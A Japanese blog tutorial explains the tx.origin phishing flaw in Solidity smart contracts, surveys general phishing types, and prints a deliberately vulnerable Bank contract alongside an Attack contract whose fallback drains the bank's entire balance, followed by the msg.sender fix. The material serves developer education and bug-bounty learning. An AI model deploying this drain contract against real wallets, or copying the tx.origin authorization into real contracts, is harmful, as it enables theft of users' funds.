Hacking Smart Contract Solidity ブロックチェーン

[Solidity-Bug Bounty] tx.originを使ったフィッシング攻撃を1からわかりやすく解説

かるでね

こんにちは!CryptoGamesというブロックチェーンゲーム企業でエンジニアをしているかるでねです!
スマートコントラクトを書いたり、フロントエンド・バックエンド・インフラと幅広く触れています。

このブログ以外でも情報発信しているので、よければ他の記事も見ていってください。

今回は「tx.originを使用したフィッシング攻撃」について解説していきます!

そもそもSolidityの「tx.origin」なんて聞いたことないという人もいると思いますが、Solidityの学習を進めていく中で出てくるものなのでこの記事で先に学んでいってくだい!

スマートコントラクトに対するフィッシング攻撃の1つである「tx.origin」の脆弱性について理解して、安全なスマートコントラクトの構築をしていきましょうた!

Solidityスキルを1段階あげたい方やバグ・バウンティに参加したいバグハンターを目指している方は必須の知識となるので、この記事で学んでいってください。

バグ・バウンティが何かわからない人は以下の記事を読んでください。

フィッシング攻撃とは?

まずはフィッシング攻撃がどのようなものか確認してきましょう。

Wikipediaで調べると以下のように書かれています。

フィッシング(英: phishing)とは、インターネットのユーザから経済的価値がある情報(例: ユーザ名・パスワード・クレジットカード情報)を奪うために行われる詐欺行為である。典型的には、とにかく信頼されている主体になりすましたEメールによって偽のWebサーバに誘導することによって行われる。

https://ja.wikipedia.org/wiki/フィッシング_(詐欺)

重要な個人情報を盗み出す」行為を総称してフィッシングというようですね。

さらにフィッシング攻撃には以下のような種類があります。

メールフィッシング

入手したメールアドレス宛にメールを送信し、偽のサイトに誘導することでアカウント情報を盗みだす行為です。

偽のサイトは本物そっくり作られるため、外見では区別することが相当難しいです。

そのためURLなどがおかしくないかで判別する必要があるのと、送信してきたメールアドレスもおかしくないか確認する必要があります。

スピアフィッシング

企業やグループの所属する特定の個人を標的としたフィッシング攻撃です。

標的とする人物の情報を収集し分析し、その人物の上司や家族を名乗り、メールの内容を信じ込ませて行動させようとする攻撃です。

スミッシング

携帯電話のSMSを悪用したフィッシング攻撃です。

SMSに届いたメッセージに怪しいURLが記載されていて、そのURLをクリックして個人情報を入力するとその情報を取得されてしまうといった攻撃です。

よくAmazonやヤマト運輸などの宅配業者を装ったSMSが届いていることがあると思いますが、それがまさにすミッシング攻撃です。

ヴィッシング

ボイス(Voice)とフィッシングを組み合わせた造語です。

ブラウザ上で「ウイルスに感染しました」などの目セージを表示させ、その画面に表示されているサポート電話番号に電話をかけさせ、障害解決のために優勝サポート契約を結ばせようとする詐欺です。

また、これにより逆に端末に不正なプログラムをインストールされる危険性もあります。

電話をかけた際、明らかに日本人ではないカタコトで話してきたりするので、その場合はすぐに気づくことができると思います。

ソーシャルメディアフィッシング

facebook、Twiiter、Instagram、LinkedInなどのSNSサービスで悪意のあるリンクを投稿する攻撃です。

しかし、ただ悪意のあるリンクを投稿しても誰もクリックしないため、他のユーザーのアカウントを使用して悪意のあるリンクを投稿することで、その友人・家族がクリックする可能性が高まります。

パスワードを使い回している人は多いため、どこかでパスワードが漏洩すると、攻撃者はそのパスワードを使用して他のサービスに不正ログインを試みようとします。

tx.originとは?

では次にSolidityのtx.originについて確認していきましょう!

tx.originとはmsg.senderと同じでアドレスを取得することができます。

msg.senderとの違いとしては、tx.originは外部(EOA)アカウント(メタマスクなどのウォレットなど)のアドレスしか取得できないということです。

以下は、ユーザー(EOAアカウント)からContractAを呼び出し、呼び出されたContractAからContractBを呼び出している状態です。

この際、msg.senderContractAのアドレスを取得し、tx.originはユーザーのアドレスを取得します。

実際に確認してみましょう。

先ほど説明した内容と同じ結果になりましたね!

これがmsg.sendertx.originの違いになります。

このtx.originですが、公式のドキュメントでは「使用しないでください」との記載があります。

Never use tx.origin for authorization. Let’s say you have a wallet contract like this:

https://docs.soliditylang.org/en/v0.8.17/security-considerations.html

ではこのtx.originの何が危ないのかを次の章から見ていきましょう。

tx.originを利用した攻撃

では実際にtx.originを使用した攻撃を見ていきましょう。

Bank

contract Bank {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    /// @notice 資金を預ける関数。
    function deposit() public payable { }

    /// @notice 資金を引き出す関数。ownerしか実行できない。 
    function withdraw(address payable _to, uint _amount) public {
        require(tx.origin == owner);

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }   
}

資金を預けたり、引き出したりできるコントラクト。

owner

Bankコントラクトをデプロイしたユーザーのアドレスが格納。

deposit

資金を送金してもらう受け取ることができる関数。

widthdraw

引き出すユーザーがBankコントラクトのownerかどうかを確認し、もしownerであれば資金を引き出すことができる関数。

getBalance

Bankコントラクトに保存されている資金を確認できる関数。

Attack

contract Attack {
    address payable public owner;
    Bank bank;

    constructor(address _bank) public payable {
        bank = Bank(_bank);
        owner = payable(msg.sender);
    }

    /// @notice 資金を送られた際に呼び出される無名関数。
    fallback() external payable {
        bank.withdraw(owner, address(bank).balance);
    }
}

攻撃を仕掛けるコントラクトです。

owner

Attackコントラクトをデプロイしたユーザーのアドレスが格納。

bank

Bankコントラクトのアドレスを渡す。

fallback

資金をこのコントラクトに送られた際に呼び出される無名関数で、Bankコントラクトのwidthdraw関数を呼び出す。

実行

では、早速実行していきましょう!

Bankコントラクトをデプロイしたアドレスがwidthdraw関数を呼び出して、Attackコントラクトに資金を送金するとBankコントラクト内の資金が全て抜かれてしまうことを以下で再現しています。

コード解説

いかがだったでしょうか?

理解するのが若干難しいと思うので解説していきます。

解説

  • BankコントラクトをデプロイしたユーザAが、deposit関数を実行して合計5 etherBankコントラクトに預ける。
  • AttackコントラクトをユーザーBがデプロイ。
  • ユーザーAはユーザーBに資金を送金したいため、アドレスを確認して(ユーザーBはあえてAttackコントラクトのアドレスを伝えました)、widthdraw関数を実行して1 etherを送金。
  • ユーザーBが一度widthdraw関数を実行していますが、owner変数のアドレスと異なるためエラーが出力される。
  • Attackコントラクトは資金を受け取ったため、自動でfallback関数が実行。
  • fallback関数では再度widthdraw関数が呼ばれる。
  • この際、呼び出し元のEOAアカウントアドレスはユーザーAであるためwidthdraw関数のチェックが通り、Bankコントラクト内の全ての資金がAttackコントラクトのownerであるユーザーBに送金されてしまう。

全体の流れとしては上記になります。

コード全体

コード全体は以下になっています。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Bank {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    /// @notice 資金を預ける関数。
    function deposit() public payable { }

    /// @notice 資金を引き出す関数。ownerしか実行できない。 
    function withdraw(address payable _to, uint _amount) public {
        require(tx.origin == owner);

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }   
}

contract Attack {
    address payable public owner;
    Bank bank;

    constructor(address _bank) public payable {
        bank = Bank(_bank);
        owner = payable(msg.sender);
    }

    /// @notice 資金を送られた際に呼び出される無名関数。
    fallback() external payable {
        bank.withdraw(owner, address(bank).balance);
    }
}

対処法

ではどのようにすれば対処できるのでしょうか?

答えは単純でmsg.senderを使用すれば良いです。

msg.senderを使用することで、毎回呼び出し元のアドレスを確認できるため、Attackコントラクトのfallback関数が実行されても、呼び出し元のEOAアカウントアドレスではなくAttackコントラクトのアドレスを見てくれます。

    /// @notice 資金を引き出す関数。ownerしか実行できない。 
    function withdraw(address payable _to, uint _amount) public {
        require(msg.sender == owner);

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }

最後に

今回は「tx.originを使用したフィッシング攻撃」について解説してきました!

いかがだったでしょうか?

ポイント

  • tx.originmsg.senderの違いが理解できた!」
  • tx.originの危険性が理解できた!」
  • tx.originを使用している際の対処法を理解できた!」

上記に当てはまっていれば嬉しいです!

もし何か質問などがあれば以下のTwitterなどから連絡ください!

普段はSolidityやブロックチェーン、Web3についての情報発信をしています。

Twiiterでは気になった記事などを共有しているので、ぜひフォローしてくれると嬉しいです!

参考

-Hacking, Smart Contract, Solidity, ブロックチェーン
-, ,